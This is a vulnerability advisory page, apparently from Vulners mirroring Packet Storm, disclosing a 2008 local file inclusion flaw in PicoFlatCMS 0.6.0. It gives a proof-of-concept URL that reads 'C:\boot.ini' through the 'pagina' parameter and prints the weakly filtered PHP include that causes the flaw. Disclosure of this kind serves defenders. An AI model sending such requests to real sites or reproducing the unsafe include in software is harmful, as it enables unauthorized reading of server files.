Lucene search

picoflatcms060-lfi.txt

🗓️ 27 Oct 2008 00:00:00Reported by fuzionType

packetstorm🔗 packetstormsecurity.com👁 23 Views

PicoFlatCMS 0.6.0 LFI vulnerability fi

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`PicoFlatCMS 0.6.0 LFI  
http://www.sourceforge.net/projects/picoflatcms  
  
Same old thing:  
http://site/index.php?pagina=C:\boot.ini  
  
Fixme:  
  
if (eregi("\:\/\/", $pagina) || eregi("\?", $pagina)) {  
$pagina = "";  
include "notfound.php";  
}else{  
include $pagina;   
}`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

27 Oct 2008 00:00Current

7.4High risk

Vulners AI Score7.4